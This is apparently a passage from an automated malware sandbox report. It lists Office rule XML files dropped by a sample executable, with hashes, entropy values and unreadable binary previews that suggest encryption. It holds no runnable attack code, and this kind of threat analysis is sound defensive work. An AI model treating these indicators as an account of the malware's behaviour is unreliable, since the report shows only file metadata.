Preview:	<?xml...6uI....zT..S..k...N......-..u..#....r..M.9u_6+<.b.....)......lW..mg.6-JHY....m...\|%.4..F..s...u..U.h..ni....2....&W..m_.....a.'a.r..^...C..MJ....u=!n....r./.n......>O..@ZL...WGEC.._.............6J.X....a...;J.^S.T.Q......w?..1....!r.e3)....;...nU..s....K.....H."b~..k.?..\..hO.T....E.`.H.g.v..-.7.).....\]....n.Xs....3.Si:k...dX.....o...^v\|.}...Trs..{u.......uQE?....9qVp..... .......%rN.C.R...Gj......}6..j.+..1.=..3...d,N?.2..A.dfT.H.....j..9H.......>q..7B1js.U+.6-..N.pg.m...?..dZ....Q...].#..{.#(...@.>.4.XV..E;.&...C.Kl.\|@..........+......K.R...O>.Z......[J..._....`:..o....?...K..K.u.`...K...V"_m.F5.L...S'....w..v.'+...7..b../...n>....Y...^wIi$..%wP...Q+c.......e...9UV\|i.!.,.;./......m...s..`....FF.0...a5..5..@.iL...VaY.....Nn..w..$...rU.(...8.D.rs..EJJp.5..C."m.v............c.....S....\.~1.[.....8.q...X.S.h}..h6.dv.E..5..W....a.......w.)..-P.<...@..WP8#... I.k...s'..?.>Z.x....!..W.x.F.....cK'.t...Y(.(iE.Geee..t}.....!I.^.X....m..@G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.9390317558994346
Encrypted:	false
SSDEEP:	96:y5xx/M9UJpO3EFmls4gCKDQKMS0BDGWx4g+:y5/hEgCkUDGtg+
MD5:	36C828DFE308AC3FC34BEA258056DFD3
SHA1:	97EF1E89D64FD3A5D3FD4C1323E483992DE57C8A
SHA-256:	3D35AB4306B7DC258D842AB49BD2CE6C0E5F8A70644ED84B70C78BA917EA16FF
SHA-512:	4638DC96CC9786DFBCE327ED5007831C167B256D812E802917514B18F66548A0DB35089A94996E92A85DB079735E2EA3DD0CB99833ED515141FB9CF206C799FE
Malicious:	false
Preview:	<?xml.....Qa!H......^....;...5..2^....}..R.I...KX]...$.V.....r[..sgz~..?...^{1/v.Rg;4..,3.vdR.`.).......:#...........x..^..Hx..^.-.&.jP?3.w.......l..G..c....0..\|....j#..i1.`.u..h.}..L.$.c...r...2d3Z..;..&7v...h.L.#.7.a./..5e..x.}q..U.R......BO..........n.3.S...~w.N7..7?!..6..t.u...CI. ...zO.`...`zr..o.W..q.Se.a..f>n.....$..A..O..........?=.......Kul..B.sm@.t.-.......k]b-x'0J..O...KpF...+............n".Sc..E.Y..P.g..........{E.hi...Z.v.7.c.2)R.8v..... .f.N...2.31B.....3..Z..?..][~..Y....<..'..#.].M.U..$8..m.-+].r....(,...pAY.l...#weo......\|s.=...d.vvx........4N..#~!s..}....(t.n.L<..Sqg.7....f.#.{...N%.!.9.\...}.&..\...f...rc...%..z.......2...0YNm#......V.Q.7....*.......m.$.K=....6,.....m.5d....uzX.\.....G.......N...`^.9I\v......Q.....$S1.o./.ZM?...Q.CC.A.S..n....E.k'4+.R...D<...M.m...:1BER.......1Y....J%...j...h.o.".&..M.A...I..b 4R..}/.`.....b...j.L.H...Q.........]...b=`...s..?..u..y0..>.(...W.n......kT@..~."...&...$....jSG.U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.950253522038427
Encrypted:	false
SSDEEP:	48:yqJZUUEDXJNP4pqNutGrIJHjVFVhGgRv1/yXo+lodg//p+aFoz6/y1wpMEdrud8Z:yomD5NPrutjteUvxslkgZ+ahS708pV+
MD5:	9AE54A39568E77CEF00AB1F04C6EFF73
SHA1:	4C0C5AE2AB5EB885ADC7A4CC9DF20AC487DBADF9
SHA-256:	052271C50C6E872B0BEC3980347BF62BE8D6FA0826687431A02E63667510A47A
SHA-512:	299A33D1BAE5CD3BFC597A26B97BF6B4F5F77BF09D63AF7FEC70C70E6CE150BD20556AFA6623794A7668BA9EE09293054949C990FBF17C36643D2AF167DB2D19
Malicious:	false
Preview:	<?xml.G....W\._m..^3...Vi.....2Im........K.d.........e\|A...B..F...l.p..2..r.=0..[..p.r.L...X.i...#.y.Vx.(qqL8.#..?.>.43]....S+q.g.jI.)..+iB'Z5w.U.,..7.'e(D....Eh.X.......k/...q.#....Z.9j.v...?J.=c>...a.qvk...\".4.e......2z4.{6...3...)..fS.R..K..-....X.!....1>.u..\|..,;........HH.........l.\|.........(b4...=.S....._Zps.7.j..{...i..x.`...;zq..o7..~H$.V1..ikQI............%.9~.@.V...;...&....C.X.......T.....u.i.#z..z.&2@...9.,.....GVs........(K.\|.H..... . .Oo.ee.....aC.4..x.<k.f.....d..aC...^Ga..\|.w.:38q+.x-...F..s~x.F.....K!..x..K..,.j#..Z_y..&.${{=.._......d.$}X-..P7.iF.N.k.C..0uQ.K..M.V..9...<...+.g.< ....o.A....$.....:`...n;f.r.......-...}....`.)]......q..#.b..B.9..A......pS].[.\e.....5..(.r.....v..Q....Q2+...p.....)....]m...yB..t@....p..\~Pk.'.p0X.j.\|.h.........r5..".Z..X...D.8bl:wf......U.._..1O...s.%.:.)...91....(..5+.K.*...zxg..;...R..w.d.+uo.k.=q3../..Hkw.{N.E..u-...K..&.;l.v.....).R...W_!...2..E^z..\....E..b_B........da...a....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.932428192131283
Encrypted:	false
SSDEEP:	48:9g10dFyCQ8ElhgRR32IX0egVdDnUBVCLFxuKPvx9jImEzr5ACBaJAgzdnD3BZkCU:C10O98ai33rX0e3sx5PvTazv4J7zdD3Q
MD5:	17B97DD09177822F96D3E3A0926BD55C
SHA1:	12DD4140890F5ACC3F6702E94449F123F781424B
SHA-256:	5A575EBB3FFE0D857603E061A72136F24271AEBBD7E00E1FA186BEAD1E78F578
SHA-512:	BB5A98F4CE9BC96A4BC3433640F3CD95892B7A005F2D758AB4767CC420FE321995404DBB6DE6209E045A361A947FAD3509BC7A52CD012719BDDBFEE855ADDF77
Malicious:	false
Preview:	<?xml....+.R..r..Lp..z...u..qZ<.O.[ ......1.........b8..O..%.$G<h..p..V...H..{....D=...A.o....~c..D.=.w......>z.:gtk.t]X...s....\9...7..n"..U.."'Z........(..~.P.......0....1z.h.'..K.C...e~.q.Y.......y..K.........y...H{.G.!.mb.6.R@.....}...%.j...Q.3@.>&.,^L-.W....2.i.i..0....i85.A.F..4\|.oo.....c....R.x....~}..~.(.z.....^...;N........o....x".f....0N.3+.kl..U84..A..C..u.)..J...wpE.....<..$....../...=.q..'u....S^}.Uen.)...1.S......1....../..-u...>.:.".^x..q....d.H..N...d..y.u%...v.Op_t8....%..."f.hA.ly.s1Z.. .....;......b,.u.4h.O.d....{[.&....M....k..............@_{.:.;J..I".ARH.d.Q.....-....i.a..F..TEa.@T...U.D.N.&.@...=j<...!p.#.%..U....I.S.....`....9...X.8hr.Niqu..v.Y.N.HI3....-..a{D.J.X..K...B.d...4...5.21..9.G.....A....I..@.(.2.........Q}.z.."l.M......_0b..&..=.x.~.?...a%..j..!\|.3..(n{.....+.l...._j/h.gL.2F..A..UEq\.3.......:..:e..9!..e.."......Q.f.....$.v.......G...KZZ.V..<.*.C....?:....6...6L..&Am.,X..W...q.@.s....Q7..y...b..(C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.919517163521386
Encrypted:	false
SSDEEP:	48:AVwepepmDj/kASpcdc6WOjOStwI7ZxrSY1B1c0fp/ccgmD:AHpVWPq7jFB1TE+
MD5:	168A8B06487BD6937E7B3D650E378AA9
SHA1:	9E89771BB97C640924076107EAE2043CD8D51E87
SHA-256:	41A1C86BD62FA14DC515259129A844C124A74D0750980845388896AEFF3FE360
SHA-512:	3D69D1DA3279AC697014073FBCF30FC3D712578EF643A4823118C83AB2297486E92B4C64C9CF4579A5296ABF0172E63DA214D9E688310D0BF542E1C92671689B
Malicious:	false
Preview:	<?xml.^y....k.`.'.zo....\|...6.1..>..70\/....=Q...g\...fS..5g.[:?.d Z......).....W.@..;J%.. .`..i...kn...Q...&...t..p....X.R..........a../L.M.....v.....H.U...n..)..e...jg..[....>....x.g...L.H.9;L..K..T...........}.^..IdUcTO.gAN..k.S.R.3..y..A..o.\..7.....a.D.(.1^...B<..j~E..;..1MH.\.0..Y....<......(..g.....n....V..%.s.....2.a........].R.?.0...v.z\.H{...nF.......n.6.......a..u8...f.:.c%/..x..e/".....+d2 `",...\-].B0~...'..@.....e...D4...P..I...B......$6hBU.Dh.....p$$.h...PL..^Z\h.d.n.KW..2"s?..6.X..G_.h.R...W.Q...>..PH^....&........=.u}\|.?.t......ioO...%..8......r}/.V.+...e..`V.u....6....X..=.=......k[.p.e.%....8.._......N... /..A...V.....c.Y.!x..E.$.v.,.RX.5co.C.......p..:..t.....OcK..R.Xx[bC......X.A.....;.......<R\.......&.js..Fls.......5.v..L....s#![......-!....w...8....].B........-.[.6.o@..]..g..{e ^...~....J.M.......^..7.....U...V..f.....Z...F.x...V.\|.....s....Q[."#.......V..YM..vY..$.N.v.....o.+...fJ....x..?..oi.1.A.<.a...6...u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.718467627526191
Encrypted:	false
SSDEEP:	12:UfNH6IZoPabd9k69+9z5Y1DoDmG4wL2Hkgy548DNqr9G41uAj2Qscii9a:6NaJabfk6qyDoDmG4wLXvJBqr9G4IMsX
MD5:	9E34174E1610C85963A2E7F479B48C12
SHA1:	5F3333BFCB930D2853846D58E23722540C4C966B
SHA-256:	2FBDF3EC308C707AB5D17DD4E476FFE68655284D12CDDF690DD76083C9D64BDC
SHA-512:	AAD5E7388B7ED0F549B5833D97C5834A7778B01E4D9E28E746934513141B058BFAF0202BAE2F224B3FCBD740CF23930497F62FE4DAF214BA01E7F4B9797DF125
Malicious:	false
Preview:	<?xmli..L.Pv.%....q'..F.....b.qT.{...$U`o..\|...S.H.B...S/...Q^.....X.agbB.<".*.,@.:nn.\....Bo".,..W.X>[@..~..>.....bl............y:.y..6.f(.gV.z.I....K..nB..o#+?...T...x..t-..P......[..9.d..........n@!..=..#....p2.X.Q......4.s....s.s .!tG.+T.V......m...c..Q.yImd..B,}....y..........-O....#.'..m[.{}..2...+....XE.TI[.......U)i.:}?.....X.a....OI'..2..6vEu......j.I0<.a..[6@....R:4j!.=.9%./=.(..H....,3s......S.:..B.p....+.\|.@..V..zuI.!..X....L..64.B..G.!D%....p+.....\...j..l..N..g.,f(l ..]au..e..r.....q.,f..".w...<J...85...:"..y;.;..\|V.>.I......(..Dk..g6....!..zme.h..'(Tr........cX..c'G...q...Gl..>#.n... ...K.`Y.k`...9.}$..g4{.,e..._8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.834004609207697
Encrypted:	false
SSDEEP:	24:VstmDfOX7m2OWLg/N7rTmXHFhuWjCM0pQyr8wBusbD:yYmSp3mbDyr8sumD
MD5:	88BDFF0B6AC7634F057F2936FE99925F
SHA1:	F66CDE90045FA222635EB6D4056BF00C5E1D0053
SHA-256:	B13C0E397145A30C091507EEBC5508D5014F12E3C176A82677741633C3F3FE83
SHA-512:	DBF79915E28ECFB580DE393F214F4C06C729FFCF1188D830B47627DAF2CAE1B4839D353C9F8203302D41D1BF418D04196562EE70106702D1DCAC47F8021C4E9E
Malicious:	false
Preview:	<?xml.O...g.;....P.f.IB....m ../..g&.LPh...V4.].P(.>..p....1a....\...........:{(..F_\..ZQ....CI...Co..R....."o.._R......x........{..]...\|...f.O...Y.......VV.......$.X..#......VA..1$e.FN....}...t.Q.`9OA.4Op.s.H..E....>..%.f.\..7....K.%.i!1/I...r.3..q'.z.nq.6...K.&.w..U....\...v..'.....#..!1....u....hu.yXEE.W.j....,.........s.......B..9..{...)..f`CqN........p.]9.&`._;@{.Am0..v.6O5.=.....z..l.T.....".=...r..y.'....E".<..YE..z[.....ik.b7g...c...l.....X6....D.(vZo..... ..k........:pg.qHF0........t.s...@v.Qp.V....&C.'.@.....LOsYg.+....U.......m.O..9.l...:2...0....Q.....l......R..R..$.b).....%...C..SI..w.9.iB.f..d...K.)3..(..<..qi..L..........tI...aQ.a.n..:...j.....P../.J...}.6.D...j..U...y...?>.STF...Tz.c.....'5K-....vt4./.yT.4{.MHi^.m.eqQIA............6..:!.N...I.-w!D\..Y......aZsp....o..p.O.y....tqG..9....9z.B#.q7'.....'.hw.THN.Q.Z.....NV.ym.l.oe4........3.."...}.A3.j.E..K\|.Q..P......\..\......K+...<..A....^..P`.m.?..!.b.Pv....h..L>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.571272589331152
Encrypted:	false
SSDEEP:	12:krnA49RUyUgBrNZ6crXUBglOLsdDbLESuQscii9a:AA49qyhz6lP6Dv/fsbD
MD5:	00E0D4032E90CD3F872DC9E9296621F1
SHA1:	834C388919BC45DB9E3E9995374281E3EA7DBFB7
SHA-256:	E446072CEACF8A3857AEF5AA17695874195C173EED46410D85F4A63CF2E2B243
SHA-512:	07140DB95B3EE9D4E84BD788DB6E62E624F480F4D68A7A381E52E83366F97F7B310D42FEBD46A95A65516F3BFB099A768FE8A2446CA9972327963845E277A80F
Malicious:	false
Preview:	<?xmlT...E....:^Y.....@...E\..>....]...f....9^...Y......X.....].W.;.b.H.&.p!....DY....T...K.w...%...[..P.O....0....LQ....d..A.'.+....l4.(...>b.... ..1.."~bu..i..QN.b..Z...=.v...p..~-._.9b..Y...VJ@`.&._..#{........(j.dB..6a =..u..=.g..M..l..i9...#S.{...#_>g...../.....r...v....0.X5T...}A...d~...*..t.oa.\|.}..\..a.....0..?..FFm.I.&......]...EL}...sxx..].87...G..d...T3>.\|).,.&...x._l.......$..u8..3'z@.......5.y.~.0...,...f&.p...vs...H<.l...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.934436634840901
Encrypted:	false
SSDEEP:	48:VI28aQ6D5NdbnbqTbH7dYwYBzjo9yk8OdndnHw9zIdoGLgEm0Zvt6mD:J8af/lKHhlCFODHXdoGx/t6+
MD5:	805EC96ACB348E7E95D622B8F61C8518
SHA1:	CA5394A404B550B84C387DA204409D358CC0A431
SHA-256:	DE830A551EB7A7096F4338063A23774371F37485AD81445EAB8DF6248DE939F7
SHA-512:	85C023C0990913A7AB84F2F7B3EAAA3857D9ACC2ADCFE075C81E7B5921FD1FCB598AD7EE875FCD21D9F43DD6330601ADD0B0C058CBEE4D2F2D19111DB50AF015
Malicious:	false
Preview:	<?xml\|s/.R.... 6....X...].N.fbmy_)....N...<..h....aW5...AjF.Q..J...z...Zv.b..a.HV9X.C....N.{..2:^8..I.............=.-i.P.nR..UJ.g..]..M.q....."/ .....4@a.(......Z.....=..=.........`...?TA.X...^YJ^@A.tb..w....R......Y...J....F.1......J..oz#.&.U.a0.F...).......F..D.....U...L.j.=...............{.....ZA....C..1.X..>...ul..T.........D.$...T...#.3.....D...uE...R.pMX..q(.Q...0.N2.@....:.#2.....~tv..?`..'0........oX.wR....2.?..c7.A..8. ..H@.\.....@..i...W.H.5.R..q...A?......}xy. ....wU....e..$<..P.4L..j...g..A...x\|>....Cn...I....Qe.D..[...P.a./.......ZZ..<*....7._.............4,.c...~...BE..Z...\|..J....x..4c..$.....u.!......9j...'....{G.<5......G...Y....&....u....Y>..........l.y.$<p.:......W..'.8......4!........gZ>`$........r.!....t..1.. .mv u.....Jy..p..d...._.v5..r..G.{.o.>....".........{=7..)N.=.iX....n_......OO.w...)..s.c.k.=.,jE.8j.].eDw....Qs.......<B{.........y..Y08.jy.....QZ)G.[L.Km8h...n..P.....j.Er....`...=]...A.zo.h...w.....\|./.4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.746800341338331
Encrypted:	false
SSDEEP:	12:Rao6vS/HGHpcCdlr+AE5uvm3be2lDbUORxPkz0tHPV4som3+DFGa7bbZdPK/Qscq:RaIQbdlr+IvGbLlPUORxPkYtvzb+JGaK
MD5:	AF928681DF666CF5987B4A4B1191736A
SHA1:	D9447826C1583FDF941056D9D4FB10580C57C02D
SHA-256:	839C7999BB81C7CB938C9831CA44A42BFC8A5B36177C19EDA48D4E03D5483C47
SHA-512:	EEAD42F9167D47EAA1F5CC73C1F6AA56320B6F95DAAD2AC12401395E6553F0621474D1107B332FBDF27AE9D628023698218754199CEB47F363F2494A44E0E624
Malicious:	false
Preview:	<?xml..2...:a.$..+...(.f.},.j.k.q........I.L..x5...P....E...^<.s8..;.....b...Z.^.hL....tSU.u..p:.{~ !... MQ+..[e......kb.5l...f...._d~....Z1..k.G~.........W.v.......L).......f...}....A.H.D.z...:d.=.'.....9t.o..o0IOsID.2)z..:+.3..._..#J.......!...K....y..s.1.I........#.9.F.y...Af.Yd...n..;mmKF+...9.,.....5...h..Y9.r.`...'q<e...p...:.Su...ypA.Fd'...V....u.F.<..V.R.W..ho/D.9{..9..=...<...MK....'..T.4........~"s....[....g.W..9X...UG..Z....qs.(.>X.G...Vr.\|j...[.yI.>DJ\..B.9E.V]/'...\|.J...xI..d../..}c.j..:.v...%0.X.l.m.yzM..&.%..]_..**.!.@...\|.........\...5..un.E@%.7..ei..L...z......+.%....w.i.....w.Zn..].....0......r.....p+7....a..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.736245279263684
Encrypted:	false
SSDEEP:	24:QrOcvNCrQLKWGbkMs6EaKr16Td57vlrtsbD:Q6KN5LNGbM64Or7vhtmD
MD5:	0E36E967EED9DEE0B6B06A6AD07E87FF
SHA1:	3D849295FE4B7AB4BA2FBDA729B06B53FE311F24
SHA-256:	15FA8A4A8917BC9A502A11F082E49A3518485BE1616BB3E04C5BFD98117147CB
SHA-512:	ED2821017093021A7EA92CF2173D9A68AF0CFB4CD55C176341D8AFDFAA7832BE38677DDAFF9A8CD12FBFB1B8F811A1F64D76A5AF615051A738A351A7B5270B40
Malicious:	false
Preview:	<?xmlm...eaq...../.f....#............5.s.Y..P.=`......\A.%.'.%. ...`.....I..b.3..z].".d....n.T{.n..Q@z.\|[.0....%..?/s.(:D..Ut.s4p....-v....^.(....J..&\|.@...4.>....S(h!`GS.?..Y.^..Z."..Fq..c...?;..n.......u................[..^.&._.!av.+n...(.."......f8.....$X..i{\|.?.NI~u?.w4s&XH[.6.g..;.F....;.\|.....,....w.7P{.if...S....?g..>n...w..34.u0....o...J.o3?H.1..q#.._.8+..1.K7.......pI.w......@....VL.>.u;w....j...z.........<..<...S.'q...!.!.>.k_T....]4....?+....+..t...]..,.[/...^..2....^.. .I...F.......0..F....a0=..g%X..#.8....q'.F.d/.r.... 4.]......: .m.U.....#.`.#..k....C9.ag.D&....R..8.F.a}...T..>..6s..tU..YS...L..Q.....o..R..[..W..+V/n*......7.m.q.f......8...#C..%..S.;.Y.".0.W9.M$.4...WZ8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.721170425334772
Encrypted:	false
SSDEEP:	12:C2OQE1/PvVsF9DT6DxHx+sjHjo7yIgodW3VOqCa9yaS6ZnhJo84VHQscii9a:cQWPvwJ+YT4QZa9bZfomsbD
MD5:	F1940D9DED4253B0FEC0C29BFC829EA9
SHA1:	54A45FF10E2F5FF968F4ECE219A4A10CFFBC2D61
SHA-256:	5809DFFC0A1E20A343BA620C7717C29B07AAD6F31F92F188BBABADB48632911C
SHA-512:	076CDB743AE5BC8A4CED609592FF140C9A0F8C87A46C2EE347484AF4F763FFACCA7BEC69843FB21B762CABA01CBA59881B1C49EBAB7FA5858AC96A450DAEEAB8
Malicious:	false
Preview:	<?xml.o...........'....i.^lyn.h.......A.j4....22VY.. 1..sj...J....].;...%.W}`...4........;.....-a..$....n.d$..'.JB.s..a#..Il.q.g\|>....u."dA\|...R.(....n...z.).......Ee..T.\|a..Z.p._X.x....\..<.&.8...+.NTp.2,..$...0..r"........../......dX.f.n....Q.3........m.........^9...>..XM...q.....#..f!,...o.U.}....../...'..-h.....>..R.6.H...hW..QM..0!x%C..M.?y.......g....sg..F...=..g....om.}#^v.kl...w........6...-I\|......\|.8.H5..y#.%...W........&{...P.BS.d..}..AI..(..?P.~.t@.j.p.+X..gg..4.....GG.e.....,..R.q...{3.<K."n(Yvy.G....B.B1.y.......{.Ed.<%..5&.]1$MMx>..=`.E...1.Y..t>T.Y...aX9.~..;.... ^.M..z...d.....%."....o...,....)7....8K..MQ8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.7325883794367565
Encrypted:	false
SSDEEP:	12:1RbDaRKlVSwM4st/EIztdJOpZt++B5gxOieGGgAL8D0r6l3Jo+VkOIQscii9a:HbmKiwC/vRO9vBSxO3eAL6bl3q+jsbD
MD5:	194CE56B5CA775D427660E7D35494C75
SHA1:	7074CC3ECA997973BDB11EB702EC43E9C505E24B
SHA-256:	33AD69857A3A3CD8A34CD40755DA84E61D9C1A8FD6BE8F9CF7B0D6B9BB98BBF0
SHA-512:	CAA594929EB28910682FEA1D2FF8C801B67CF1F9EFE22CA0E99BB140DE35A58F518F31C52F8A7BD1F8E20E5C395EBE76AA562511BB8E3B707BB51FFB59547DFB
Malicious:	false
Preview:	<?xmlt.W.Fl..,M..Jz....#.kj...l.P.<.sAd.:D94>.>M..A....1N.ec.....Z......;[>. {..\...R_.X..U4&s..Z.DK.vO....Z..t$..*..P..eo.>sw%7..6..K.`,qz..J..l..]..,Q..x.R..CI7.K...}.P)O..)........8..."..%O......<. K.<.........!..........}....8p.B.T........^,'=.4]..3....b..=..X'...;.p.{...6...4.....}..>.@..._v+.."..b2....;O.J..J.T\|f@....0..8ELHD?,D....=...^.!..."..M...$.py.G........;K.u..h...R.j."V.\|GB.<?...c5..y.WX.6..A..E.%...;.'V....3{..x.}...hq.;....BXp........c.6.(WB......S.Y..4pk....N...2b......(...x....c....^4).....9..n..C......X.."....J..`..{..]..cZgJsK.;..P..@..x....y.u.F.>2...#.P..9.-!...`%g.9.:.SK.%.&.RC_.^."5.......[....q...yGn9i.....1...-....6.~..^.2....\...X.x...t....oSt.C...W..?Ib....F+o....o.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.755062950055727
Encrypted:	false
SSDEEP:	24:fVZY+vJ4VCyqw5RqiqzDvCn8avvQUfsbD:fjtvGVCyqw5V/gCmD
MD5:	CF63F1C63E1B6C84145586CDBB5D803B
SHA1:	F25D09B9DF24452B7F7340D13185862FEDCD0DAD
SHA-256:	D75C69AFF3EBB00F6C35A332D1AAC1BE0886BCD9463CAA797EC8BCF0CC3AC965
SHA-512:	8FA0593F3687FAD953BEF2218A428BF8813D1942B9369992049DD566D8BD2DD5D5419ECAD31C14066E24F4CB2F77A77FF786FB83BE3989ED9086FE3D6FCA5736
Malicious:	false
Preview:	<?xml......./...~J..{..n.9..8}....!:..V6......W.&..k..bu.&..{B.+.....(ep...M.Y.[[R..B...K...4.2.\,."....-.fJ..c.i.....n5".Y/.G..so...}6.T.N.K.\|..\|=F..2!.T.C..?....Z.(..).P...[....\V.56o.........t........ .....Y5..X{.....vj....%`T....?..($~.&.....7..NvE.......&z1.2)U"......e1.....)...j5.n....H...v.8r.7~.4.(.z?.s.....z_.w..\w.iE.4.j>a..HPy..5..N.;EDV6.......'..8n.3.N.qL..C...w.~\|.s...Q9Z.....L...f......g ....T.Ck...zRh4.i.>e.Z....N....kvh..v..7MI..Y.c$3.i..Y.W....I..K.7....,...N..P..j..av..#....}..o}.jH.7.V.../...5.!.....Xj`.....?..K{..K->.bX.t:v.bR...l.e{D6..\|.....m..Y.vnGc>9D+...d$..,U.u.g.E.q...:.X.n..IJ..Dd...@.$.S..k\|.U.-.<......L..2[..W...>.Q..."^.>..F2Jg.]..v..t<..iX.S[.C_oo..Z..@.E...d._.=....r.o...L..M@.7...n.u .\{.KMSte.C.pD....5.7T..w.X.-........._.m....1/{.)...;(.....?=E.z...e..^.f...79....~wZ.Q.g..:d...........*..j...8...t.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.728320783361586
Encrypted:	false
SSDEEP:	12:QLwcymk0EWbNK0gJrbIyGawk5m1AX8PoPVMFV3lRvaaJvAyo2medJ0fO9Qscii9a:K9ymkDbEzAMPoPa3hnGsbD
MD5:	F12670C4D9DCB500708E2283EC8242B8
SHA1:	EFFA239B6FA6D68F50CDFB18D81BF848D23C3262
SHA-256:	0099E84A9C3CB35E2806991869115B3C2AE6C9DFEBE9023979B7D917D8855CBD
SHA-512:	E6E276BD31A64B166F53AB824874423629089BC2F66D060C9F8A33872C734A094B63B35A0AF4CC21EDC8F177C1FCBE38505A3F2C224EBA5CC8952A58844C0AB2
Malicious:	false
Preview:	<?xml.....6y.7.....C&.. R.=!.?V.T.I.Lc.t..X....?.....ap..u.%au......#9.bf.......e...l....!O..2.n......1...U..7..B.2.W.tm.b....T:Y~.K.H.4..HAp.V.^.Qa{.^5..&.R.A.....I..&..L....F.......r.iv.xl`o..MfG.A.8.f.b..U.v....k...W.....0{4.6+...`..W..P).t.y..q...r.'"..l..CA..4.bF...f......o&....Q.......0..?Y.g>..$q....;w......9..L......E.\.....$s+&.l.....[.Z....@#...c.^.pZ.....R.R}..wW\|..dz...y..,/...X%.Sw3.#..v..n\u.Ge<y...b..\|+.Q...p.U.Bp...q.7\|c>....b.........v..c...nW1/.J.9.T..f..F. .P..........q..9iM .........4.....+N.zr,...V..0....t...LO...t.,.}........a....kl.&9.>?6..&..B/.-...K!.n..)W.^S...ra.L?..n<...Q*..{A...Fc...3.y...z..D....ei. Q..,....E...w..8+....h.+...8.#.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.69604560641459
Encrypted:	false
SSDEEP:	12:2lplJxiVcUabf3sn1dNI/1TsWRBZqlvDnQKcECmGhq4b4Qscii9a:GoVZabf38dMElLw/NsbD
MD5:	9E5B287398A99DF25717C4EC450E1C26
SHA1:	26C0ACF458B2D2D7F5F5258452D7FF8E2B03C233
SHA-256:	232307D8B405672C1B3F1711CCDC2A70524E00C5A6968903C6FF2BA2C68BC390
SHA-512:	58CCE79390393ACC28BCB8E1DD6C914B35D04EE06C8E84649B5A10C5C8B3263D382BE7B37CF1230FA76D92FB263CEC02C78A2DA6B435C076E1967C5C9011363A
Malicious:	false
